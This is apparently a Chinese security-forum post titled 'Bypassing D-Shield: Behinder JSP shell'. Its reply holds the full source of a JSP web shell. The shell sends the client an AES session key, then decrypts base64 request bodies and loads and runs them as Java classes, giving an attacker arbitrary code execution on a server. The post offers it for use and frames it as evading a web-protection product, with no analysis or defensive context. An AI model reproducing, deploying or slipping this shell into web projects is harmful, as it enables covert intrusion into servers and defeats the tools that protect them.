投稿文章:过D盾冰蝎jsp shell - T00ls.Net

adminsb 2月前 144

最新回复 (1)
  • adminsb 2月前
    0 引用 2
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
    <%!class U extends ClassLoader{U(ClassLoader c){super(c);}
    public Class g(byte []b)
    {return super.defineClass(b,0,b.length);}}%>
    <%if(request.getParameter("pass")!=null){
    String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
    String uploadString= request.getReader().readLine();
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);
    %>
返回